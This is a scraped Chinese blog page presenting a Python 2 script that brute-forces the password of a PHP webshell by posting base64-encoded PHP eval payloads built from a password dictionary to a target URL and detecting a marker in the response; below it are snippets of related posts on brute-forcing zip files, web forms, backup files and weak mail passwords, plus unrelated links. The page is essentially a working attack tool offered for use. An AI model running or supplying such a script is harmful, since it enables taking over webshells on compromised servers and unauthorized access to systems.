python 爆破
python 爆破
#!/usr/bin/python
#-*- coding: GB2312 -*-
#author:loversorry
import urllib2
import urllib
import os
import sys
import getopt
import base64
def usage():
print sys.argv[0]+" -u [url]http://www.xxx.com/webshell.php[/url] -t php -f ./password.txt -i 1000"
def readFile():
posts = {}
posts_arr = []
f = open(file_name,'r')
i = 0
for line in f.readlines():
line = line.replace('\n','')
temp = base64.b64encode(line+'**==**1a1a1a').replace('=','');
posts[line]='$a=%s;$b=base64_decode($a);echo($b);' % temp
i = i+1
if i>int(num)-1:
posts_arr.append(str(posts))
posts.clear()
i = 0
if len(posts):
posts_arr.append(str(posts))
f.close()
return posts_arr
def intruder(postDatas):
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'
}
ok = False
for item in range(len(postDatas)):
postData = postDatas[item]
postData = urllib.urlencode(eval(postData))
request = urllib2.Request(url,postData,headers)
response = urllib2.urlopen(request)
text = response.read()
if text.find('1a1a1a') <> -1:
print '\n破解成功,密码为:'+text.split('**==**')[0]
ok = True
break
else:
sys.stdout.write(".")
return ok
if __name__ == '__main__':
opts,args = getopt.getopt(sys.argv[1:],'hu:t:f:i:')
url = ''
server_type = ''
file_name = ''
num = ''
for opt,value in opts:
if opt == '-u':
url = value
elif opt == '-t':
file_name = value
elif opt == '-f':
file_name = value
elif opt == '-i':
num = value
elif opt == '-h':
usage()
sys.exit()
if file_name == '' or num == '' or url == '':
usage()
sys.exit()
sys.stdout.write("开始破解:")
if intruder(readFile()) == False:
print '\n破解失败,换字典试试!'
python 爆破的更多相关文章
- 利用Python爆破数据库备份文件
某次测试过程中,发现PHP备份功能代码如下: // 根据时间生成备份文件名 $file_name = 'D' . date('Ymd') . 'T' . date('His'); $sql_file_ ...
- python爆破zip脚本
最近在提高自己编程能力,拿一些实用的小工具练下.该脚本为python语言,主要涉及模块zipfile,threadings模块. 功能:暴力猜解zip解压密码 #coding: utf-8 impor ...
- python爆破定长密码脚本
def get_pwd(str, num):#str为可选字符集,num为密码长度 if(num == 1): for x in str: yield x else: for x in str: fo ...
- 从零开始学安全(三十六)●利用python 爆破form表单
import sys import requests from requests.auth import HTTPBasicAuth def Brute_Force_Web(postData): re ...
- php安全编程&python测试实例编写
前言 本文首发i春秋论坛. 本篇文章主要分享一个python暴破脚本,该脚本采用optparse模块,支持自定义字典位置:用了多线程(虽然我感觉和单线程速度差不多..是我的错觉还是线程写的不对..求表 ...
- 甲方安全建设之office365邮箱弱口令检测
甲方安全建设之office365邮箱弱口令检测 信息收集 资产范围 资产列表总数是521 抓包后发现只有102 一番测试之后发现控制Response的关键在于MaxEntriesReturned字段, ...
- weblogic系列漏洞整理 -- 2. weblogic弱口令
目录 二. weblogic弱口令 0. 思路 1. python爆破脚本 2. 技巧 一.weblogic安装 http://www.cnblogs.com/0x4D75/p/8916428.htm ...
- sqli-libs笔记Page-1(Basic Challenges)
0X00:前言 sqli-libs是一个学习SQL注入的开源平台,共有75中不同类型的注入.源码可到github上搜索sqli-libs找到 0X01:Page-1基础挑战 0X02:每一关的payl ...
- 实验吧-杂项-pilot-logic、ROT-13变身了
1.pilot-logic 题上说password藏在文件里,直接丢到Winhex里,搜索pass就拿到flag了. 有的大佬提供了另一种方法,题上说是一个磁盘文件,有一个处理磁盘文件的软件autop ...
随机推荐
- Oracle 数据表误删恢复 Flashback
1. 前提条件. recyclebin 参数打开. 验证参数是否打开: SHOW PARAMETER RECYCLEBIN 2. 如果参数没有打开的话 需要打开,并且重启一下数据库方法为 alter ...
- Node post请求 通常配合ajax
//处理客户post请求//*1:加载相应模块 http express querystring//*2:创建web服务器//*3:监听端口8080const http = require(" ...
- SAP PA认证
----------------------------------------------------------------转帖---------------------------------- ...
- js的forEach遍历不可以给value赋值
可以给value的对象赋值,如果想共用内存地址可以使用for循环更改数组内对象的值:
- python模块_re模块
正则表达式笔记'''#re.match 尝试从字符串的起始位置匹配一个模式,如果不是起始位置匹配成功的话,match()就返回none.#re.search 扫描整个字符串并返回第一个成功的匹配#fi ...
- Java微信二次开发(八)
高级接口,先做了两个(获取用户信息和获取关注者列表) 第一步:找到包com.wtz.vo,新建类UserInfo.java package com.wtz.vo; /** * @author wang ...
- python之打印日志logging
import logging # 简单打印日志举例 logging.basicConfig(level=logging.DEBUG) # 设置日志级别,WARN logging.warning('Wa ...
- BZOJ5252 八省联考2018林克卡特树(动态规划+wqs二分)
假设已经linkcut完了树,答案显然是树的直径.那么考虑这条直径在原树中是怎样的.容易想到其是由原树中恰好k+1条点不相交的链(包括单个点)拼接而成的.因为这样的链显然可以通过linkcut拼接起来 ...
- Hibernate基本应用01
一. Hibernate简介 1.1 Hibernate介绍 Hibernate是一个开放源代码的对象关系映射框架,它对JDBC进行了非常轻量级的对象封装,它将POJO与数据库表建立映射关系,是一个全 ...
- 【题解】 bzoj1076: [SCOI2008]奖励关 (装压+期望dp)
题面戳我 Solution 并不会做,看了下题解大概了解了.期望这个东西好难搞啊qwq 我们定义\(dp[i][j]\)表示第\(i\)步,拿到宝物前的状态为\(j\). 正着来会有很多不合法的情况, ...